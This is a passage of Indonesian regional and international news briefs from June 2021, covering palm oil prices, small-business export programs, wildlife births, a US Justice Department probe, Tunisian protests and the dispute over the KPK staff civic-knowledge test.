kasus terakhir menimpa korban PLRT WNI di kawasan Sri Petaling dan di Selangor. "KBRI akan terus mengawal dan memastikan penegakan keadilan bagi korban penyiksaan atas PLRT," katanya. Dia mengatakan PMI Sektor domestik rentan terhadap pelanggaran oleh majikan seperti penyiksaan, gaji tidak dibayar dan pembatasan akses komunikasi dengan pihak keluarga. "Kondisi ini semakin menunjukkan pentingnya penyelesaian Memorandum Employment and Protection of Indonesian Domestic Workers yang sebelumnya telah berakhir masa berlakunya sejak Oktober 2016," katanya. (sws)

Harga CPO di Jambi Turun Tajam Sebesar Rp285

Jambi, FNN - Harga minyak sawit mentah atau Crude Palm Oil (CPO) di Jambi pada periode 11-17 Juni 2021, mengalami penurunan cukup signifikan sebesar Rp285 dari Rp10.547 menjadi Rp10.262 per kilogram, begitu juga dengan inti sawit dan Tandan Buah Segar (TBS) kelapa sawit. "Hasil yang ditetapkan tim perumus harga CPO, TBS, dan inti sawit di Jambi pada periode kali ini adalah Tandan Buah Sawit (TBS) turun Rp31 dari Rp.1.904 menjadi Rp1.873 per kilogram, sedangkan inti sawitnya turun tipis Rp4 dari Rp6.541 menjadi Rp6.537 per kilogram," kata Panitia Penetapan Harga TBS Sawit Provinsi Jambi, Putri Rainun, yang diterima Sabtu. Untuk harga CPO, inti sawit, dan TBS sawit beberapa periode terakhir ini terus mengalami kenaikan dibanding beberapa periode lalu berdasarkan hasil keputusan dari kesepakatan tim perumus harga CPO di Jambi bersama para petani, perusahaan perkebunan sawit, serta pihak terkait. Berikut selengkapnya, harga TBS untuk usia tanam tiga tahun yang ditetapkan untuk periode kali ini adalah Rp1.873 per kilogram, usia tanam 4 tahun Rp1.991 per kilogram, usia tanam 5 tahun Rp2.084 per kilogram, usia tanam 6 tahun Rp2.171 per kilogram, dan usia tanam 7 tahun Rp2.226 per kilogram. Kemudian untuk usia tanam 8 tahun senilai Rp2.273 per kilogram, usia tanam 9 tahun Rp2.318 per kilogram, usia tanam 10 sampai dengan 20 tahun Rp2.38 per kilogram, usia 21 hingga 24 tahun Rp2.315 per kilogram dan di atas 25 tahun Rp2.206 per kilogram. Penetapan harga CPO, TBS, dan inti sawit, merupakan kesepakatan tim perumus dalam satu rapat dihadiri para pengusaha, koperasi, dan kelompok tani sawit setempat dan berdasarkan peraturan menteri pertanian dan peraturan gubernur. (sws)

PT Timah Fasilitasi UMKM Bangka Ekspor Produk Udang Olahan

Pangkalpinang, FNN - PT Timah Tbk memfasilitasi Usaha Mikro Kecil Menengah (UMKM) di Pulau Bangka, Provinsi Kepulauan Bangka Belitung (Babel), untuk bisa mengekspor produk olahan udang "ebi", sebagai bentuk komitmen perusahaan membantu UMKM mengembangkan usaha dan memperluas pasar. "Kami memfasilitasi produk UMKM agar berstandar global dan memiliki branding yang kuat untuk memacu ekspor makanan dan minuman olahan khas daerah ini," kata Kepala Bidang Kemitraan PT Timah Tbk Erwan Sudarto di Pangkalpinang, Sabtu. Ia mengatakan peningkatan ekspor produk UMKM ini difokuskan di lingkungan operasional perusahaan sebagai komitmen PT Timah membantu pemerintah daerah (pemda) dalam mewujudkan UMKM yang mandiri dan berdaya saing di pasar global. "Saat ini sudah ada beberapa produk kerajinan, pangan dan minuman yang memasuki pasar Jepang, Korea Selatan, dan Eropa," ujarnya. Pelaku UMKM pengolahan udang "ebi" Bangka Rospa Edia Wati menargetkan untuk bisa ekspor ebi ke berbagai mancanegara. "Kalau untuk ekspor ini semuanya harus sesuai standar mulai dari peralatan dan untuk menambah modal, saya jadi mitra binaan PT Timah. Pinjaman dari PT Timah itu saya pakai buat siller yang lebih canggih, stok bahan baku dan peralatan lainnya,” ujar Rospa Ediaa Wati. Menurut dia, dengan menjadi mitra binaan PT Timah, ia juga dibantu secara pemasaran. Saat ini produknya dipasarkan di Galeri Serumpun Sebalai yang ada di Bandara Depati Amir. “Dibantu juga pemasaran, packaging saya jadi lebih bagus karena sudah punya siller yang memang sesuai kebutuhan. Ini semua setelah saya jadi mitra binaan PT Timah. Semoga nanti saya bisa ekspor karena produk ebi ini lebih unggul dalam rasa,” ujarnya. (mth)

Kawasan TPA Batulayang Pontianak Ditanami Pepohonan

Pontianak, FNN - Kawasan Tempat Pembuangan Akhir (TPA) Batulayang di Kecamatan Pontianak Utara, Kota Pontianak, Provinsi Kalimantan Barat, ditanami berbagai jenis pepohonan. "Sebagian areal TPA tersebut ditanami berbagai jenis pohon sebagai paru-paru kota," kata Wali Kota Pontianak Edi Rusdi Kamtono saat melakukan penanaman pohon di TPA Batulayang, Sabtu, bersama anggota komunitas dan pegiat lingkungan. Sebanyak 680 bibit pohon sumbangan dari perusahaan dan pihak lain ditanam di kawasan TPA Batulayang sebagai bagian dari upaya restorasi lingkungan. "Kita harapkan TPA ini tidak hanya sebagai tempat pembuangan sampah, tetapi juga menjadi destinasi ekowisata," kata Wali Kota. "Jadi kalau kita berkunjung ke TPA tidak lagi tercium bau sampah yang busuk, yang ada tanaman yang hijau, segar, dan berbuah," ia menambahkan. Area TPA Batulayang luasnya sekitar 28 hektare. Pemerintah kota berencana menjadikan sebagian dari area tempat pembuangan sampah tersebut sebagai daerah hijau. Berbagai jenis bibit pohon, termasuk pohon buah, ditanam di area tersebut. Edi berharap kegiatan penanaman bibit pohon di kawasan TPA Batulayang diikuti dengan kegiatan pemeliharaan untuk memastikan bibit yang ditanam tumbuh dengan baik. "Saya minta Dinas Lingkungan Hidup Kota Pontianak melakukan perawatan pohon-pohon yang sudah ditanam," katanya. (mth)

LPEI Dorong Keberhasilan Ekspor UMKM Melalui CPNE

Jakarta, FNN - Lembaga Pembiayaan Ekspor Indonesia (LPEI) atau Indonesia Eximbank terus mendorong keberhasilan ekspor pelaku Usaha Mikro Kecil dan Menengah (UMKM) melalui Coaching Program for New Exporters (CPNE) di sejumlah kota besar di Tanah Air. "Program tersebut bertujuan untuk meningkatkan ekspor nasional, membantu pemulihan ekonomi nasional, serta meningkatkan kapasitas UKM di daerah, agar dapat melakukan kegiatan ekspor dan memasarkan produknya ke pasar global," kata Direktur Eksekutif LPEI D.James Rompas dalam pernyataan di Jakarta, Sabtu. LPEI, kata dia, membantu membukakan akses pasar melalui global marketplace dan pameran, baik yang dilakukan secara luring maupun daring, serta melakukan pengembangan community development melalui Program Desa Devisa. Dari kegiatan tersebut LPEI telah memiliki lebih dari 2.200 UKM mitra binaan, diantaranya 353 produk UKM telah berhasil di-posting di global marketplace dan menghasilkan 60 eksportir baru, serta mengembangkan dua Desa Devisa. Program CPNE kali ini diselenggarakan di Kota Medan, Sumatera Utara, dan menjadi kota ketiga dari rangkaian Program Jasa Konsultasi LPEI pada 2021 yang sebelumnya diselenggarakan di Kota Surakarta dan Bali. Kota Medan khususnya dan Provinsi Sumatera Utara pada umumnya memiliki potensi UKM berorientasi ekspor yang terbesar di Pulau Sumatera. Berdasarkan hasil kajian yang dilakukan oleh IEB Institute beberapa waktu lalu, Kota Medan, Sumatera Utara, mampu mencatat pertumbuhan ekonomi 5,98 persen pada 2019 dengan nilai ekspor 20 miliar dolar AS ditopang oleh komoditi unggulan berupa sayuran, buah, kopi, rempah, dan makanan minuman. Program CPNE merupakan program pelatihan dan pendampingan berdurasi satu tahun yang diberikan LPEI kepada pelaku UMKM yang telah melewati penjaringan dan seleksi. Modul pelatihan yang diberikan antara lain mengenai tata cara ekspor, penyusunan laporan keuangan, legalitas dan sertifikasi ekspor serta turut dalam kegiatan pameran ekspor. Pelatihan kali ini diikuti 25 orang pelaku UMKM Sumatera Utara yang mengelola usaha antara lain rempah, hasil perkebunan kopi, produk kelapa dan turunannya serta produk makanan minuman. Salah satu peserta CPNE pelaku UMKM bergerak di bidang perkebunan kopi dari Deli Serdang, Darwis Harahap, berharap produknya bisa menembus pasar global. “Saya ingin kopi dari Sumatera Utara tidak hanya dikonsumsi di Indonesia atau Medan saja, tetapi bisa dinikmati di luar negeri. Saya tahu bahwa ini tidak mudah tetapi saya yakin kita mampu," ujar Darwis. Sementara itu Wakil Gubernur Medan Musa Rajekshah mengapresiasi segala bentuk inisiatif untuk meningkatkan perekonomian dan taraf hidup masyarakat Medan. "Pelatihan seperti CPNE sangat diperlukan untuk meningkatkan kapasitas dan daya saing UMKM yang ada di Medan agar dapat bersaing di pasar global. Mengingat kita telah memiliki potensi dari sumber daya alam maupun manusia, seharusnya upaya-upaya positif seperti ini harus kita dukung. Karena hasilnya nanti akan kembali ke para pelaku UMKM dan masyarakat Medan," ujarnya. (mth)

Pengawas Depkeh AS Akan Selidiki Penyitaan Data Komunikasi Demokrat

Washington, FNN - Pengawas Internal Departemen Kehakiman (DOJ) AS akan menyelidiki upaya departemen selama pemerintahan mantan Presiden Donald Trump untuk menyita data komunikasi Demokrat di Dewan Perwakilan Rakyat AS, badan pengawas itu mengonfirmasi. Inspektur Jenderal Departemen Kehakiman Michael Horowitz mengatakan bahwa kantornya mulai meninjau "penggunaan panggilan pengadilan dan otoritas hukum lainnya untuk memperoleh rekaman komunikasi Anggota Kongres dan orang-orang yang berafiliasi, dan media berita sehubungan dengan penyelidikan baru-baru ini atas dugaan pengungkapan yang tidak sah informasi kepada media oleh pejabat pemerintah." Horowitz mengatakan dalam sebuah pernyataan bahwa tinjauannya akan "memeriksa kepatuhan Departemen dengan kebijakan dan prosedur DOJ yang berlaku, dan apakah penggunaan semacam itu, atau penyelidikan, didasarkan pada pertimbangan yang tidak tepat." Dia mengatakan penyelidikannya dapat berkembang jika "masalah lain" yang tidak ditentukan muncul selama penyelidikan. Inspektur jenderal mengumumkan peninjauannya setelah Senat Demokrat pada Jumat menuntut agar dua mantan jaksa agung AS bersaksi tentang panggilan pengadilan yang dilaporkan atas catatan anggota Kongres oleh Departemen Kehakiman Trump. Seorang pejabat Gedung Putih mengkritik tindakan pemerintahan Trump sebagai "mengerikan." Departemen Kehakiman di masa Trump memanggil Apple Inc untuk meminta data dari akun setidaknya dua Demokrat di Komite Intelijen Dewan Perwakilan Rakyat dalam upaya untuk mencari tahu siapa yang berada di balik kebocoran informasi rahasia, New York Times melaporkan pada Kamis. Pejabat Kongres mengatakan ketua komite Adam Schiff dan anggota komite Eric Swalwell adalah dua legislator yang datanya telah dikonfirmasi oleh Departemen Kehakiman di masa Trump untuk diperiksa. "Presiden Trump berulang kali dan terang-terangan menuntut Departemen Kehakiman untuk melaksanakan kemauan politiknya, dan mencoba menggunakan Departemen itu sebagai gada terhadap lawan politiknya dan anggota media," kata Schiff dalam sebuah pernyataan pada Kamis yang meminta seorang inspektur jenderal untuk melakukan penyelidikan.. Pemimpin Mayoritas Senat Chuck Schumer dan Senator Dick Durbin mengatakan Jaksa Agung era Trump Bill Barr dan Jeff Sessions harus dipanggil jika perlu untuk memaksa mereka bersaksi kepada Komite Kehakiman Senat tentang penyitaan data rahasia, seraya menyebutnya sebagai "penyalahgunaan kekuasaan yang besar. ." Kate Bedingfield, direktur komunikasi Gedung Putih, mengatakan dugaan aktivitas Departemen Kehakiman itu menggambarkan jenis penyalahgunaan kekuasaan di pemerintahan sebelumnya yang mendorong Presiden Demokrat Joe Biden untuk melawan Trump dari Partai Republik. Biden telah menyatakan pentingnya independensi Departemen Kehakiman, dengan mengatakan bahwa departemen itu melayani rakyat, bukan presiden. Pada Jumat, Barr mengatakan kepada Politico bahwa ketika dia menjalankan Departemen Kehakiman dia "tidak mengetahui adanya catatan anggota kongres yang dicari dalam kasus kebocoran." Apple mengatakan pada Jumat bahwa mereka menerima panggilan pengadilan pada Februari 2018 yang mencari informasi pelanggan untuk 73 nomor telepon dan 36 alamat email, tidak semuanya adalah pelanggan Apple. Apple mengatakan panggilan pengadilan, yang datang dengan perintah pembungkaman dari hakim federal, "tidak memberikan informasi tentang sifat penyelidikan dan hampir tidak mungkin bagi Apple untuk memahami maksud dari informasi yang diinginkan tanpa menggali akun pengguna." Apple mengatakan pihaknya membatasi informasi yang diberikannya pada metadata dan informasi pelanggan akun, dan tidak memberikan konten apa pun seperti email atau gambar sebagai tanggapan atas panggilan pengadilan Departemen Kehakiman. (mth)

Populasi Badak Jawa dan Elang Jawa Bertambah

Jakarta, FNN - Populasi badak jawa (Rhinoceros sondaicus) dan elang jawa (Nisaetus bartelsi) bertambah setelah kelahiran dua anak badak jawa di Taman Nasional Ujung Kulon dan menetasnya telur elang jawa di Taman Nasional Indonesia Indah (TMII). Menurut siaran pers Kementerian Lingkungan Hidup dan Kehutanan (KLHK) di Jakarta, Sabtu, dua anak badak jawa terekam kamera jebak di wilayah Semenanjung Ujung Kulon, Taman Nasional Ujung Kulon, bagian paling barat Pulau Jawa, sejak Maret 2021. Menurut KLHK, anak badak jawa betina yang mulai terekam kamera jebak pada 18 Maret 2021 lahir dari induk bernama Ambu, yang sebelumnya tercatat melahirkan anak badak jawa pada 2017. Sedangkan anak badak jawa jantan yang usianya diperkirakan sudah satu tahun mulai terekam kamera jebak pada Maret 2021 bersama induknya yang bernama bernama Palasari. Menurut KLHK, kedua anak badak jawa itu merupakan anak badak jawa pertama yang lahir pada tahun 2021. KLHK menyatakan, kelahiran anak badak jawa di Taman Nasional Ujung Kulon menunjukkan keberhasilan kebijakan pelindungan habitat badak jawa di kawasan taman nasional tersebut. Menurut KLHK, jumlah badak jawa di Taman Nasional Ujung Kulon hingga Mei 2021 tercatat 73 individu, terdiri atas 40 badak jawa jantan dan 33 badak jawa betina. TMII Sambut Kelahiran Elang Jawa Lembaga Konservasi Taman Burung Taman Mini Indonesia Indah (TMII) pada 29 Mei 2021 berhasil menetaskan satu telur burung elang jawa. Induk elang jawa koleksi TMII bertelur mulai tahun 2014. Upaya penetasan dilakukan dari tahun 2014 sampai 2020 melalui proses pengeraman secara alami oleh induk. Namun tidak membuahkan hasil. Berdasarkan hasil evaluasi, pada 2021 proses pengeraman dilakukan dengan bantuan mesin tetas. Selama 23 hari proses pengeraman dari 6 sampai 29 Mei 2021 satu telur menetas menjadi anak elang jawa dengan berat 53 gram. Pada 11 Juni 2021, anak elang jawa itu sudah berusia 14 hari dan dalam kondisi sehat. Elang jawa dan badak jawa merupakan jenis satwa langka yang masuk dalam daftar 25 spesies dengan prioritas utama konservasi di KLHK. Kedua jenis satwa tersebut termasuk satwa yang dilindungi menurut Peraturan Pemerintah No. 7 Tahun 1999 dan Peraturan Menteri Lingkungan Hidup dan Kehutanan Nomor 106 Tahun 2018. International Union for Conservation of Nature (IUCN) menggolongkan badak jawa sebagai satwa dengan status critically endangered atau sangat terancam punah dan elang jawa sebagai satwa dengan status terancam punah. Direktur Jenderal Konservasi Sumber Daya Alam dan Ekosistem KLHK Wiratno menyatakan kelahiran badak jawa di Taman Nasional Ujung Kulon dan elang jawa di TMII menunjukkan upaya serius pemerintah dalam melestarikan satwa endemik Indonesia. "Kita harus bersama mendukung konservasi satwa Indonesia ," kata Wiratno. (mth)

Tiga Belas Finalis Kang-Nong Tangerang Diajak Sosialisasi Prokes saat Wisata

Tangerang, FNN - Wakil Wali Kota Tangerang Sachrudin meminta 13 pasangan finalis Kang-Nong untuk membantu pemerintah dalam menyosialisasikan pentinganya protokol kesehatan saat berwisata maupun kegiatan lain dalam upaya menekan penyebaran COVID-19. "Selain mempromosikan pariwisata di Kota Tangerang, finalis juga dapat menyosialisasikan pentinganya protokol kesehatan saat berwisata karena kita masih di tengah masa pandemi COVID-19," kata Sachrudin dalam keterangannya di Tangerang, Banten, Sabtu. Wakil wali kota juga berharap para finalis Kang dan Nong Tahun 2021 yang terpilih dapat menjadi pelopor para remaja atau pemuda yang ada di Kota Tangerang dalam meningkatkan kunjungan wisatawan di Kota Tangerang. "Saya harap para finalis juga dapat mengampanyekan slogan Tangerang LIVE, kota yang layak huni, layak investasi, layak dikunjungi dan kota yang menggunakan teknologi informasi berbasis elektronik," ujarnya. Ia menyampaikan kegiatan pemilihan Kang dan Nong ini adalah salah satu program pemerintah yang bertujuan mengajak para remaja atau pemuda yang memiliki potensi, bakat dan kompetensi untuk bersama-sama membangun Kota Tangerang. "Dalam ajang ini, kami berikan ruang untuk para remaja di Kota Tangerang menjadi Kang dan Nong sebagai Duta Pariwisata Kota Tangerang, yang mampu memperkenalkan objek-objek wisata di Kota Tangerang" ujarnya. Dinas Kebudayaan dan Pariwisata Kota Tangerang menggelar Malam Grand Final pemilihan Kang dan Nong Kota Tangerang secara daring dan luring yang disiarkan melalui kanal Youtube Kota Tangerang yang bertempat di sebuah hotel di Kecamatan Cipondoh, Jumat (11/6). Wakil Wali Kota Tangerang H. Sachrudin didampingi Kepala Dinas Kebudayaan dan Pariwisata Kota Tangerang Ubaydillah Ansar serta Camat Cipondoh Rizal Ridolloh hadir sekaligus membuka acara Malam Grand Final Pemilihan Kang dan Nong Kota Tangerang. Kepala Dinas Kebudayaan dan Pariwisata Kota Tangerang Ubaydillah Ansar menjelaskan ajang tahunan ini diikuti oleh 133 pendaftar hingga tersaring menjadi 26 finalis Kang dan Nong Kota Tangerang. "26 finalis atau sebanyak 13 pasang finalis ini mewakili dari setiap kecamatan di Kota Tangerang, yaitu 13 kecamatan. Semoga Kang dan Nong yang terpilih bisa membantu pemerintah dalam meningkatkan wisatawan ke Kota Tangerang," ujarnya. Gelaran pemilihan Kang dan Nong Kota Tangerang Tahun 2021 ini diraih oleh Rizky Ramadhan (sebagai Kang) wakil dari Kecamatan Cipondoh dan Nong diraih oleh Alessandra Desyaumi, wakil dari Kecamatan Karang Tengah. (mth)

Polisi Tunisia Bentrok dengan Pemuda yang Protes Perlakuan Buruk

Tunis, FNN - Polisi Tunisia menembakkan gas air mata pada Jumat (11/6) untuk membubarkan pengunjuk rasa di lingkungan Sejoumi setelah video yang menayangkan polisi menelanjangi dan memukuli seorang pemuda memicu kemarahan yang meluas. Video tersebut memicu kritik dari partai politik dan organisasi hak asasi manusia. Perdana Menteri Hichem Mechichi mengatakan petugas yang terlibat telah diberhentikan dari tugas dan insiden yang tidak dapat diterima itu sedang diselidiki. Pada Jumat malam, saksi mata mengatakan kepada Reuters pengunjuk rasa memblokir jalan, membakar ban dan melemparkan batu ke arah polisi, dan petugas menanggapi dengan gas air mata dan mengejar demonstran melalui jalan-jalan Sejoumi. Para pengunjuk rasa meneriakkan slogan-slogan menentang polisi dan pemerintah. Satu dekade setelah revolusi melawan kemiskinan, ketidakadilan dan negara polisi, Tunisia telah membuat kemajuan menuju demokrasi tetapi masalah ekonominya telah memburuk, dengan negara di ambang kebangkrutan dan layanan publik dalam situasi yang mengerikan. Aktivis hak asasi manusia mengeluhkan pelanggaran polisi berulang kali seperti insiden di ibu kota yang tertangkap kamera. Presiden Kais Saied mengungkapkan kemarahannya dalam pertemuan dengan perdana menteri dan juga bertemu dengan warga di Sejoumi. (mth)

Bergerak dan Bertindak Pasca Pengumuman Tes Wawasan Kebangsaan

Jakarta, FNN - Tes Wawasan Kebangsaan (TWK) yang diikuti 1.351 orang pegawai KPK di Badan Kepegawaian Nasional (BKN) pada Maret-April 2021 membawa rentetan dampak bukan hanya di institusi penegak hukum tersebut namun juga terhadap lembaga-lembaga negara lain. Penyebabnya adalah pengumuman pimpinan KPK yang menyatakan hanya ada 1.274 pegawai yang lolos tes sehingga ada 75 pegawai KPK Tidak Memenuhi Syarat (TMS). Ketua KPK Firli Bahuri pada 7 Mei 2021 lalu menerbitkan Surat Keputusan Pimpinan KPK Nomor 652/2021 tentang Hasil TWK Pegawai yang Tidak Memenuhi Syarat Dalam Rangka Pengalihan Pegawai KPK menjadi Pegawai Aparatur Sipil Negara. Isi SK tersebut adalah memerintahkan kepada 75 pegawai yang tidak memenuhi syarat dalam rangka pengalihan pegawai KPK menjadi pegawai ASN agar menyerahkan tugas dan tanggung jawab kepada atasannya langsung sambil menunggu keputusan lebih lanjut. Belakangan pada 25 Mei 2021 berdasarkan rapat KPK bersama dengan BKN, Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB), Kementerian Hukum dan HAM, Komisi Aparatur Sipil Negara, dan Lembaga Administrasi Negara, diputuskan 24 dari 75 pegawai masih dimungkinkan untuk dibina sebelum diangkat menjadi ASN sementara 51 pegawai sisanya tidak memungkinkan untuk dibina berdasarkan penilaian asesor. Ke-51 pegawai tersebut disebut masih akan berada di KPK hingga November 2021 meski saat ini statusnya sudah non-aktif. Namun 75 pegawai yang tidak lolos TWK itu tidak "menerima nasib" begitu saja. Mereka membuat laporan ke sejumlah institusi negara agar dapat mengambil langkah yang tepat sesuai kewenangan masing-masing lembaga terhadap pimpinan KPK, 75 pegawai maupun institusi KPK sendiri. Sejumlah lembaga yang mendapat laporan adalah Dewan Pengawas KPK, Ombudsman, Komnas HAM, Mahkamah Konstitusi hingga organisasi kemasyarakatan seperti PGI dan MUI. 1. Dewan Pengawas KPK Perwakilan 75 pegawai KPK melaporkan lima orang pimpinan KPK yaitu Firli Bahuri, Lili Pintauli Siregar, Nurul Ghufron, Alexander Marwata dan Nawawi Pomolango ke Dewas KPK pada 18 Mei 2021. Kepala Satuan Tugas Pembelajaran Internal KPK Hotman Tambunan selaku perwakilan 75 pegawai mengatakan ada tiga hal yang mereka laporkan. "Yang pertama adalah tentang kejujuran. Dalam berbagai sosialisasi, Pimpinan KPK mengatakan bahwa tidak ada konsekuensi daripada Tes Wawasan Kebangsaan, dan kami juga berpikir bahwa asesmen bukanlah suatu hal yang bisa meluluskan dan tidak meluluskan suatu hal," kata Hotman. Proses alih status menjadi ASN, menurut Hotman, merupakan hak pegawai KPK yang akan menentukan masa depan, sehingga sudah sewajarnya informasi yang diberikan kepada pegawai adalah informasi yang benar. Alasan kedua, ia menyinggung soal materi tes wawancara dalam TWK tersebut yang janggal. "Karena ini juga menyangkut suatu hal yang menjadi kepedulian kami terhadap anak perempuan kami, terhadap adik dan kakak perempuan kami. Kami tidak menginginkan lembaga negara digunakan untuk melakukan suatu hal yang diindikasikan bersifat pelecehan seksual dalam rangka tes wawancara seperti ini," ujarnya. Alasan terakhir, kata Hotman, terkait dengan Pimpinan KPK yang sewenang-wenang dalam mengambil keputusan karena pada 4 Mei 2021 MK telah memutuskan alih status pegawai KPK menjadi ASN tidak akan memberikan kerugian kepada pegawai tapi pimpinan menerbitkan SK 652 yang sangat merugikan pegawai. Terhadap laporan tersebut, pimpinan KPK menyatakan menyerahkan tindak lanjut pelaporan kepada Dewas. "Pimpinan KPK menghormati pelaporan dimaksud, karena kami menyadari bahwa pelaporan kepada Dewan Pengawas adalah hak setiap masyarakat yang menemukan dugaan pelanggaran yang dilakukan oleh insan KPK," kata Wakil Ketua KPK Alexander Marwata pada Rabu (19/5). Menurut Alexander, pimpinan KPK sebelum mengambil keputusan selalu membahas dan berdiskusi tidak saja dengan semua pimpinan, bahkan dengan jajaran pejabat struktural KPK. Artinya, semua produk kebijakan yang dikeluarkan oleh kelembagaan KPK seperti peraturan komisi, peraturan pimpinan, surat keputusan, surat edaran, dan semua surat yang ditandatangani oleh Ketua KPK dipastikan sudah dibahas dan disetujui oleh empat pimpinan lainnya termasuk Surat Keputusan (SK) Nomor 652 Tahun 2021. Dewas KPK pun masih memeriksa laporan tersebut dan terus mengumpulkan bahan keterangan terkait dengan dugaan pelanggaran etik tersebut. 2. Ombudsman Direktur Pembinaan Jaringan Antarkomisi KPK, Sujanarko, mewakili 75 pegawai KPK pada 19 Mei 2021 kemudian melapor ke Ombudsman terkait dugaan maladministrasi oleh pimpinan KPK. "Dari kajian kami ada banyak maladministrasi yang sudah dilakukan KPK, baik penerbitan SK-nya, prosesnya, dari sisi wawancara hampir ada 6 indikasi yang kami sampaikan bahwa Pimpinan KPK telah melakukan maladministrasi, termasuk penonaktifan pegawai karena hal itu tidak ada dasarnya," ujar Sujanarko. Saat melapor, Sujanarko datang bersama dengan Kepala Satuan Tugas Pembelajaran Antikorupsi, Hotman Tambunan, dan Kepala Bagian Perancangan Peraturan dan Produk Hukum KPK, Rasamala Aritonang, serta para kuasa hukum mereka, yaitu Direktur YLBHI, Asfinawati, pengacara publik LBH Jakarta, Arief Maulana, dan dari LBH Muhammadiyah, Gufroni. Menurut Sujanarko, ke-75 pegawai masih mendapatkan gaji yang dibayar negara namun tidak bekerja padahal sudah berstatus non-aktif hingga Oktober 2021 sehingga berpotensi merugikan keuangan negara. Kerugian bertambah karena kasus-kasus yang ditangani KPK dapat terhambat karena tidak aktifnya 75 orang tersebut. Terhadap pelaporan tersebut, Ombudsman sudah meminta keterangan dari pimpinan KPK yang diwakili Wakil Ketua KPK, Nurul Ghufron, bersama Sekretaris Jenderal KPK, Cahya Harefa, dan tim Biro Hukum KPK pada 10 Juni 2021. Ghufron pun mengklarifikasi soal dugaan bahwa TWK diselundupkan dalam peraturan komisi Alih Status Pegawai. Dugaan seludupan itu muncul karena dalam rapat awal pembahasan yaitu 27-28 Agustus 2020 yang membahas aturan turunan alih status pegawai dari UU Nomor 5/2014 tidak ada pembahasan soal TWK. TWK pun masih tidak muncul dalam rapat lanjutan pada November 2020. Namun saat rapat pimpinan pada 5 Januari 2021, usulan pelaksanaan TWK malah muncul sehingga dalam draf Perkom 20 Januari 2021 muncul soal asesmen TWK hingga akhirnya Perkom soal pelaksanaan TWK sebagai syarat alih status pegawai terbit pada 27 Januari 2021. Atas dugaan tersebut, Ghufron beralasan pada rapat harmonisasi 26 Januari 2021 di Kemekumham ada usulan untuk menerapkan TWK sebagai alat untuk pemenuhan syarat wawasan kebangsaan dari pasal 3 PP No 41 tahun 2020 yang berbunyi "Pengalihan Pegawai KPK menjadi Pegawai ASN dengan syarat: (a) Berstatus sebagai Pegawai Tetap atau Pegawai Tidak Tetap KPK; (b) Setia dan taat pada Pancasila, UUD 1945, Negara Kesatuan Republik Indonesia dan pemerintah yang sah.". "Tentu semuanya berkembang yang dinamis, draf di akhir itu merupakan hasil dari diskusi yang berkembang dari dari awal. Artinya tidak benar ada pasal selundupan atau ada pasal yang tidak pernah dibahas di awal. Semuanya melalui proses pembahasan dan itu semua terbuka," kata Ghufron. Ghufron juga membantah bahwa KPK membayar BKN untuk melaksanakan TWK sebesar Rp1.807.631.000 "KPK tidak pernah bayar karena tes TWK itu sudah menjadi kegiatan yang dianggap tusinya (tujuan dan fungsi) BKN sendiri sehingga dibiayai APBN BKN sendiri," ungkap Ghufron Sebelumnya, beredar dokumen Nota Kesepahaman (MoU) Pengadaan Barang dan Jasa melalui Swakelola antara Sekretariat Jenderal KPK dan Kepala BKN Nomor 97 Tahun 2021 tertanggal 8 April 2021 yang ditandatangani Sekretaris Jenderal KPK Cahya Harefa dan Kepala BKN Bima Haria Wibisana. Nota kesepahaman itu menyebutkan bahwa kesepakatan tersebut adalah langkah awal kerja sama penyelenggaraan asesmen TWK dalam proses alih status pegawai KPK menjadi ASN. Selanjutnya, ada juga Kontrak Swakelola tentang Penyelenggaraan Asesmen TWK dalam Rangka Pengalihan Pegawai KPK menjadi ASN tertanggal 27 Januari 2021. Artinya, kontrak tersebut dibuat lebih dahulu dari penandatanganan MoU. Diduga tanggal kontrak tersebut sengaja dibuat mundur (back date) karena kontrak baru dibuat setelah TWK pada tanggal 26 April 2021. Menanggapi hal itu, Ghufron mengatakan bahwa pihaknya semula mengasumsikan pendanaan untuk alih status pegawai KPK menjadi ASN berasal dari KPK. Akan tetapi, karena pelaksanaanya adalah BKN, perlu payung hukum untuk mendanai kegiatan tersebut. BKN lantas bekerja sama dengan KPK. Namun, perkembangannya setelah MoU ditandatangani, ternyata BKN menyampaikan ke KPK bahwa asesmen ini bagian dari tugas dan fungsi BKN sebagai lembaga negara yang bertugas melakukan manajemen ASN mulai rekrutmen, peningkatan karier, sampai reward and punishment. Karena menjadi bagian kerja BKN, lanjut Ghufron, BKN mengatakan bahwa biaya asesmen pegawai KPK tidak perlu ditanggung oleh KPK. "Kemudian langsung jadi MoU yang dinyatakan back date. Itu memang ditandatangani tetapi tidak pernah dilaksanakan karena pendanaannya di-cover oleh BKN sendiri," katanya menjelaskan. Ditegaskan pula bahwa MoU itu tidak pernah dipakai walaupun pihaknya sebagai komitmen kelembagaan di kepegawaian KPK mempersiapkannya. Atas laporan dan klarifikasi tersebut, Anggota Ombudsman RI Robert Na Endi Jaweng mengatakan pihaknya akan melihat masalah itu dari tiga tingkatan. Pertama, soal dasar hukum terutama mengenai proses penyusunan peraturan KPK No 1 tahun 2001; kedua mengenai sosialisasi aturan apakah sudah diterangkan kepada para pihak yang terkait dan sejauh mana keterlibatan lembaga-lembaga lain terlibat dalam proses alih status; ketiga konsekuensi dari "memenuhi syarat" dan "tidak memenuhi syarat" TWK terhadap para pegawai. 3. Komnas HAM Pada 24 Mei 2021, perwakilan 75 pegawai KPK mengadu ke Komisi Nasional Hak Asasi Manusia. Dalam aduannya, mereka melampirkan laporan yang berisikan 8 hal yang dinilai sebagai bentuk dugaan pelanggaran HAM dalam TWK. "Saya menyampaikan kepada Komnas HAM mengenai peran Kepala BKN yang tampak sekali, menurut kami, punya peran cukup banyak bersama-sama Ketua KPK. Ini perlu jadi fokus tersendiri," kata penyidik KPK, Novel Baswedan. Baswedan mengatakan, dia bersama pegawai KPK lain yang tidak lulus TWK kesulitan mendapatkan hasil tes beserta penjelasannya sehingga ia meminta penyelenggara membuka hasil tes karena ketidaklulusan tersebut berdampak pada adanya stigma/label terhadap pribadi mereka. Sementara Kepala Satuan Tugas Penyelidik KPK, Harun Al Rasyid, mengatakan, dia bersama puluhan pegawai KPK yang tidak lulus TWK berkepentingan mengetahui hasil dan penjelasan TWK. "Kenapa kami minta hasil assesment (TWK), karena kalau kami dianggap orang berpenyakit, misal kami punya penyakit jantung kami ingin penyakit itu bisa sembuh," kata dia. Komnas HAM pun sudah memanggil pimpinan KPK untuk melakukan klarifikasi terhadap laporan itu pada 8 Juni 2021, namun tidak ada pimpinan KPK yang hadir. Pimpinan KPK beralasan ada rapat pimpinan sehingga tidak bisa 